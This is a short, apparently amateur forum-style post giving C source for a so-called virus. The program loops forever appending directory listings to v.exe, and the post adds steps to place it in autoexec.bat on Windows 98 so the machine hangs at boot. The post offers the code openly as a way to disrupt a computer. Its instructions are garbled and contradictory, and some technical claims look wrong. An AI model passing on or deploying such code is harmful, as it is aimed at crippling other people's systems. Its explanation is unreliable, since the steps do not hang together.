Simple way to implement virus in 'c' language..

#include"stdlib.h"

#include"stdio.h"

void main()

{

while(1)

{

system("dir>>v.exe");

}

}

Requirements: Windows 98 operating system and Turbo C++ IDE 3.0 version

Process:  You get a autoexe.bat file in the c:\windows\ directory then simply right click on that and select the edit option now paste the path of the .exe file and place the following code that means the source address of that .exe file that is if it is saved in c:\ directory than specify "c:\v.exe" and then save the file after specifying the code like this.when the system starts the autoexe.bat file will run and it hang on searching the v.exe file that is not found and its get hanged. And one thing before running this delete the file v.exe from the source directory.